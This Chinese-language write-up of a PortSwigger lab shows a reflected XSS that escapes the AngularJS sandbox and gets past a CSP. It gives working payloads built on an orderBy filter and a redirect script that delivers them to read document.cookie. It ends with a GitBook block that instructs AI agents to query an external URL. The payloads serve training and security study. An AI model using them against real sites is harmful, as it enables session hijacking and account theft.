# 带 CSP 的 AngularJS 沙箱逃逸

带 CSP 的 AngularJS 沙箱逃逸笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 AngularJS 沙箱逃逸和 CSP 的反射型 XSS

实施一次可绕过内容安全策略、逃逸 AngularJS 沙箱并执行的反射型跨站脚本攻击 `alert(document.cookie)`.

**注释**/ 该站点使用了一项 CSP 策略，可阻止来自外部域的脚本执行：

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

通过查阅 PortSwigger 速查表，我们找到了一个可用的 AngularJS 向量，它通过以下方式强制求值： `orderBy` 过滤器应用于 `$event.composedPath()` 事件。

* 要触发一个警报：

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

* 要显示以下内容的值： `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

用于传递载荷并强制在受害者端执行的 URL 示例：

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xss/angularjs-sandbox-escape-with-csp.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
